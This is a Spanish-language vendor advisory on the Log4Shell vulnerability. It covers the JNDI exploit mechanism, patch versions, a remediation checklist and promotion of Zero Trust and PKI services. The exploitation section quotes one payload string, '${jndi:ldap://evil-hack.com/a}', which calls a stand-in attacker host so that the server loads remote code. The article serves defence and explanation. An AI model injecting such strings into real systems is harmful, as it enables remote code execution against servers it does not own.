Mitigar los riesgos de la vulnerabilidad de ejecución remota de código en Apache Log4j

La vulnerabilidad CVE-2021-44228, que permite la ejecución remota de código (RCE) en Apache Log4j y que se dio a conocer en diciembre de 2021, se convirtió de inmediato en una de las vulnerabilidades más explotadas en la historia de internet. Apache Log4j es una biblioteca de registro de Java utilizada en cientos de millones de servidores, aplicaciones empresariales, servicios en la nube, aplicaciones web, servicios de correo electrónico y dispositivos integrados. La magnitud de su implementación hizo que la superficie de ataque fuera prácticamente universal: cualquier aplicación que registrara la entrada controlada por el usuario mediante versiones de Log4j 2.x anteriores a la 2.15.0 era potencialmente vulnerable. Los intentos de explotación comenzaron a las pocas horas de su divulgación pública. La acción recomendada para cualquier organización que aún no haya abordado completamente esta vulnerabilidad es la siguiente: actualizar todas las instancias de Log4j 2.x a la versión 2.17.0 o posterior, buscar dependencias transitivas que integren Log4j en bibliotecas de terceros e implementar los principios de la Arquitectura de Confianza Cero, que reducen el alcance de este tipo de vulnerabilidad, independientemente de si la CVE inmediata se ha parcheado o no. Para obtener un marco de respuesta a incidentes más amplio para gestionar las vulnerabilidades de seguridad, consulte el documento " Cómo crear un plan de respuesta a incidentes seguro para su organización".

Respuesta rápida: ¿Qué es la vulnerabilidad Log4j y por qué es importante?

CVE-2021-44228, comúnmente conocida como Log4Shell, es una vulnerabilidad crítica de ejecución remota de código en Apache Log4j 2.x que recibió una puntuación CVSS de 10.0: la máxima calificación posible. Permite que un atacante remoto no autenticado ejecute código arbitrario en un servidor vulnerable al provocar que Log4j registre una cadena especialmente diseñada que contiene una URL de búsqueda JNDI (Java Naming and Directory Interface). El atacante controla dónde se resuelve la búsqueda JNDI, lo que dirige al servidor vulnerable a descargar y ejecutar un archivo de clase Java malicioso desde un servidor controlado por el atacante. Dado que Log4j está integrado en una enorme cantidad de aplicaciones, tanto directamente como a través de dependencias transitivas en bibliotecas de terceros, la población vulnerable era prácticamente todas las aplicaciones basadas en Java que utilizaban Log4j desde la versión 2.x hasta la 2.14.1.

¿Qué es Log4j?

Apache Log4j es una biblioteca de registro de código abierto ampliamente utilizada en casi todos los entornos donde se ejecuta una aplicación Java. Esto incluye aplicaciones empresariales, servicios en la nube, aplicaciones web, servicios de correo electrónico y software de código abierto. La biblioteca se utiliza para registrar información de seguridad y rendimiento, registrando los eventos que ocurren durante la ejecución de la aplicación con fines de depuración, auditoría y monitorización operativa. Dado que el registro es una función fundamental de casi todas las aplicaciones, Log4j se integró no solo en las aplicaciones que lo declaraban directamente como dependencia, sino también en innumerables bibliotecas y productos comerciales que dichas aplicaciones incluían. Esta integración en capas fue lo que dificultó la solución completa de la vulnerabilidad CVE-2021-44228: las organizaciones no podían confiar en encontrar Log4j solo en su propio código; tenían que identificarlo en todas las bibliotecas de las que dependían sus aplicaciones.

¿Cuál es el problema? El mecanismo de explotación de JNDI

La vulnerabilidad aprovecha las búsquedas JNDI (Java Naming and Directory Interface) que están habilitadas en la configuración predeterminada de Log4j 2.x. JNDI es una API de Java que los clientes utilizan para buscar datos y objetos almacenados en diferentes servicios de directorios y nombres, como el Protocolo ligero de acceso a directorios (LDAP), el Sistema de nombres de dominio (DNS) y la Invocación remota de métodos (RMI). La API utiliza una cadena como parámetro de entrada, y este parámetro puede ser explotado por un atacante remoto para ejecutar código arbitrario. Log4j no sanitiza los parámetros de entrada, lo que permite a un atacante proporcionar una cadena que se utiliza para cargar e invocar un archivo de clase Java remoto. Un atacante con la capacidad de controlar los mensajes de registro puede ejecutar código remoto cargado desde servidores LDAP cuando la sustitución de búsqueda de mensajes está habilitada y obtener el control total del servidor afectado. Un atacante puede explotar esta vulnerabilidad siguiendo estos pasos:

• Un atacante crea una cadena especialmente diseñada que contiene la carga maliciosa y la envía a un sistema vulnerable. Esta cadena se puede insertar en cualquier campo que registre el sistema, como por ejemplo:
  • User Agent
  • Nombre de usuario
  • Nombre del dispositivo o dirección de correo electrónico
• La cadena apunta a un servidor LDAP o DNS controlado por el atacante, como por ejemplo:

  ${jndi:ldap://evil-hack.com/a}.

  Esta cadena se envía posteriormente a Log4j para su registro.

• El sistema vulnerable utiliza JNDI para consultar el servidor LDAP o DNS controlado por el atacante.
• El servidor LDAP o DNS controlado por el atacante responde con un archivo de clase Java remoto (exploit.class).
• La clase Java se descarga y se ejecuta en el sistema vulnerable, lo que permite al atacante ejecutar código arbitrario.

Gravedad del problema

El impacto de CVE-2021-44228 fue muy amplio debido a la naturaleza de la vulnerabilidad y al uso casi universal de Log4j. La vulnerabilidad fue explotada a las pocas horas de su divulgación pública, y los intentos de explotación aumentaron rápidamente. Para explotarla, un atacante solo necesita lograr que el sistema objetivo registre un mensaje especialmente diseñado: el ataque puede activarse a través de cualquier campo de entrada que llegue a un registrador de Log4j, incluyendo encabezados HTTP, campos de formulario, nombres de usuario y consultas de búsqueda. Los atacantes explotaron esta vulnerabilidad extensamente para la minería de criptomonedas y para la distribución de otros tipos de malware y ransomware. Actores de amenazas patrocinados por estados comenzaron a explotar la vulnerabilidad poco después de su divulgación, y los intentos de explotación se mantuvieron elevados durante semanas.

Expertos en seguridad advirtieron que, debido al modelo de empaquetado de Java, la vulnerabilidad podría estar presente en varias capas de las aplicaciones y no ser fácilmente detectada por escáneres superficiales. Un producto podría ser vulnerable porque una biblioteca de la que depende depende de otra biblioteca que incluye Log4j, sin que exista una referencia directa a Log4j visible en el manifiesto de dependencias del propio producto. La vulnerabilidad era explotable tanto en sistemas Windows como Linux, y afectaba tanto a implementaciones en la nube como locales.

Cómo mitigar el riesgo: Lista de verificación de remediación priorizada

Una organización puede seguir estas recomendaciones para abordar esta vulnerabilidad, ordenadas por prioridad:

• Implemente herramientas y scripts de escaneo para identificar todas las aplicaciones y sistemas que utilizan versiones vulnerables de Log4j, incluidas las dependencias transitivas integradas en bibliotecas de terceros; no se base únicamente en los manifiestos de dependencias de origen.
• Actualice todas las instancias de Log4j 2.x a la versión 2.17.0 o posterior (para entornos Java 8) o a la última versión compatible con su versión de Java; tenga en cuenta que la versión 2.15.0 tenía una corrección incompleta y fue reemplazada.
• Como solución provisional inmediata cuando aún no es posible aplicar parches, elimine la clase JndiLookup del classpath mediante el comando: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
• Aplique inmediatamente los parches de seguridad a todas las aplicaciones y sistemas de acceso público; aplique los parches a las aplicaciones y sistemas internos lo más rápido posible, priorizando aquellos con exposición a la red externa.
• Revise los registros del perímetro de la red en busca de indicadores de compromiso, incluidas las solicitudes salientes de LDAP o DNS a hosts externos inesperados originadas por servidores de aplicaciones.
• Si utiliza un firewall de aplicaciones web (WAF), implemente o habilite reglas que detecten y bloqueen las cadenas de exploits Log4j en los encabezados HTTP, los cuerpos de las solicitudes y los parámetros de URL.
• Aísle los sistemas vulnerables mediante la segmentación de la red para evitar el movimiento lateral si se produce una explotación antes de que se complete la aplicación de parches.
• Supervise las actividades sospechosas, prestando especial atención a las aplicaciones que establecen conexiones remotas inesperadas, especialmente conexiones LDAP o RMI a hosts externos.
• Revise los avisos del proveedor para todo el software y los dispositivos de terceros en su entorno; muchos productos comerciales incorporan Log4j y requieren parches proporcionados por el proveedor en lugar de parches directos.
• Implementar los principios de la arquitectura de confianza cero como defensa a largo plazo contra este tipo de vulnerabilidad.

Arquitectura de confianza cero: la defensa a largo plazo

Un elemento importante en todos los ataques de malware, incluida la explotación de Log4j, es que el atacante utiliza las propias aplicaciones y sistemas de la organización en su contra. Las organizaciones deberían considerar la implementación de una arquitectura de confianza cero para reducir el alcance de este tipo de vulnerabilidad. La confianza cero es un enfoque que protege a una organización rechazando la confianza implícita y validando continuamente cada solicitud. Se basa en el principio de nunca confiar, siempre verificar: cada solicitud de acceso se autentica, autoriza y cifra antes de proporcionar acceso al recurso. La arquitectura de confianza cero se basa en tres principios clave:

1. Verificar explícitamente:

   Autentique y autorice siempre las solicitudes en función de la identidad del usuario, el dispositivo, la ubicación, el servicio, la carga de trabajo y otros parámetros. En el contexto de Log4j, esto significa que, incluso si un atacante logra ejecutar código en un sistema, no podrá acceder automáticamente a los sistemas adyacentes sin cumplir también con los requisitos de autenticación de dichos sistemas.

2. Utilice el mínimo privilegio:

   Restrinja el acceso únicamente a los recursos necesarios para la función específica de cada sistema o usuario. Utilice políticas basadas en riesgos y protección de datos para garantizar la seguridad de los datos y los sistemas. Una aplicación comprometida por Log4j que solo tenga el acceso necesario para su función no podrá utilizarse para acceder a bases de datos de alto valor ni a almacenes de credenciales que estén fuera de su ámbito de acceso requerido.

3. Asuma que se ha producido una infracción e inspeccione cada actividad:

   Utilice análisis para mantener la visibilidad de la actividad de la red, el sistema y las aplicaciones, y utilice la detección de anomalías para identificar los movimientos laterales y los patrones de comunicación de comando y control típicos de la actividad posterior a la explotación. Asuma que cualquier sistema puede verse comprometido y realice el monitoreo correspondiente.

La identidad se ha convertido en el nuevo perímetro de la red, y la verificación de estas identidades es fundamental para la arquitectura de confianza cero. En lugar de la identificación basada en la dirección IP, la identidad se basa en la verificación de usuarios y sistemas mediante la gestión de identidades y accesos (IAM), la autenticación multifactor (MFA) y la infraestructura de clave pública (PKI). Las organizaciones pueden usar PKI para emitir certificados digitales a usuarios, máquinas, aplicaciones web y dispositivos móviles para proporcionar una autenticación de red segura y verificada. Los datos deben protegerse tanto en reposo como en tránsito, por lo que el cifrado es una parte importante de la implementación de la confianza cero. PKI permite a una organización establecer la identidad de las máquinas y cifrar las comunicaciones entre sistemas. Para obtener más información sobre los servicios PKI, consulte PKI como servicio.

Registro de actualización

Fecha	Actualizar
9 de diciembre de 2021	Se divulga públicamente la vulnerabilidad CVE-2021-44228; se lanza Apache Log4j 2.15.0 con una corrección inicial que desactiva las búsquedas JNDI por defecto.
13 de diciembre de 2021	CVE-2021-45046 se asignó a una corrección incompleta en la versión 2.15.0 bajo ciertas configuraciones; Apache Log4j 2.16.0 se lanzó deshabilitando JNDI por completo de forma predeterminada.
18 de diciembre de 2021	Se ha asignado la vulnerabilidad CVE-2021-45105 (denegación de servicio); se ha publicado Apache Log4j 2.17.0.
28 de diciembre de 2021	Se ha asignado la vulnerabilidad CVE-2021-44832 (ejecución remota de código si el atacante controla la configuración de Log4j); se ha publicado Apache Log4j 2.17.1.
Enero de 2022	Los intentos de explotación continuaron a gran escala; varios grupos de actores estatales confirmaron haber explotado la vulnerabilidad.
Septiembre de 2026 (esta actualización)	Contenido actualizado con detalles técnicos adicionales, guía de detección, lista de verificación de remediación priorizada, registro de actualizaciones y sección de preguntas frecuentes para consulta continua.

Conclusión

Las organizaciones necesitan reforzar la seguridad de sus sistemas y aplicaciones frente a vulnerabilidades como CVE-2021-44228, y la defensa más sólida es la arquitectura de confianza cero: rechazar la confianza implícita y validar continuamente cada solicitud. Es necesario y urgente aplicar parches a Log4j para los sistemas que aún ejecutan versiones vulnerables. Sin embargo, la lección más importante de Log4Shell es que los componentes ampliamente desplegados y profundamente integrados pueden crear superficies de ataque casi universales con un mínimo de aviso, y las organizaciones que dependen únicamente de las defensas perimetrales siempre estarán expuestas a todo el impacto cuando se explota una vulnerabilidad en un componente fundamental. Implementar la verificación de identidad de máquina basada en PKI y aplicar el acceso con privilegios mínimos en todo el entorno garantiza que la explotación de un sistema no se convierta automáticamente en una vulneración total de la red. Encryption Consulting ofrece servicios de implementación y gestión de PKI a organizaciones que construyen bases de confianza cero. Para ver cómo podemos ayudar a su organización, visite www.encryptionconsulting.com.

Preguntas frecuentes

¿Qué es CVE-2021-44228 (Log4Shell) y por qué fue tan grave?

CVE-2021-44228 (Log4Shell) es una vulnerabilidad crítica de ejecución remota de código en Apache Log4j 2.x que recibió una puntuación CVSS de 10.0: la máxima calificación posible. Permite que un atacante remoto no autenticado ejecute código arbitrario en el servidor vulnerable al provocar que Log4j registre una cadena de búsqueda JNDI especialmente diseñada. La gravedad refleja la implementación casi universal de Log4j, la facilidad de explotación (cualquier campo controlado por el usuario registrado puede activarla) y el control total que el atacante obtiene tras una explotación exitosa.

¿Qué versiones de Apache Log4j se ven afectadas por la vulnerabilidad CVE-2021-44228?

La vulnerabilidad CVE-2021-44228 afecta a las versiones 2.x de Log4j desde la 2.0-beta9 hasta la 2.14.1. La versión 2.15.0 proporcionó una solución inicial, pero se descubrió que era incompleta en ciertas configuraciones (CVE-2021-45046). La versión 2.16.0 deshabilitó JNDI por completo de forma predeterminada. Las organizaciones deben actualizar a la versión 2.17.0 o posterior para entornos Java 8. Log4j 1.x no se ve afectado por CVE-2021-44228, pero tiene vulnerabilidades sin parchear y ha llegado al final de su ciclo de vida.

¿Cómo puede una organización determinar si está utilizando versiones vulnerables de Log4j?

Las organizaciones deben utilizar varios métodos: analizar los SBOM y los manifiestos de dependencias en busca de referencias directas a Log4j; utilizar herramientas de análisis de composición de software (SCA) para detectar dependencias transitivas; buscar archivos JAR de Log4j en los sistemas de archivos por nombre y versión; utilizar la detección basada en la red, que envía cadenas JNDI de prueba y supervisa las consultas LDAP o DNS salientes; y revisar las divulgaciones de los proveedores para todo el software de terceros en el entorno.

¿Por qué la arquitectura de confianza cero reduce el impacto de las vulnerabilidades de la clase Log4j?

Zero Trust elimina la confianza implícita que permite que una explotación exitosa se convierta en una vulneración total de la red. Verify requiere autenticación explícita para cada solicitud entre sistemas, de modo que una aplicación comprometida no pueda acceder automáticamente a los recursos adyacentes. Use Least Privilege limita el alcance de la vulnerabilidad al acceso que tenía el sistema comprometido. Assume Breach mantiene la monitorización para detectar movimientos laterales y patrones de comunicación C2 típicos de la actividad posterior a la explotación.

¿Cuál es la relación entre la infraestructura de clave pública (PKI), los certificados digitales y la mitigación de Log4j?

La infraestructura de clave pública (PKI) y los certificados digitales son relevantes para la mitigación de Log4j en el contexto de la arquitectura de confianza cero. Esta arquitectura exige que cada solicitud de acceso esté autenticada, y la PKI proporciona el mecanismo criptográfico: los certificados emitidos a usuarios, máquinas y aplicaciones establecen la identidad y permiten una comunicación cifrada y autenticada entre sistemas. Un entorno donde cada conexión entre servicios requiere un certificado válido impide que un sistema comprometido por Log4j aproveche la ejecución de su código para acceder a otros sistemas internos sin poseer también certificados válidos para dichos sistemas.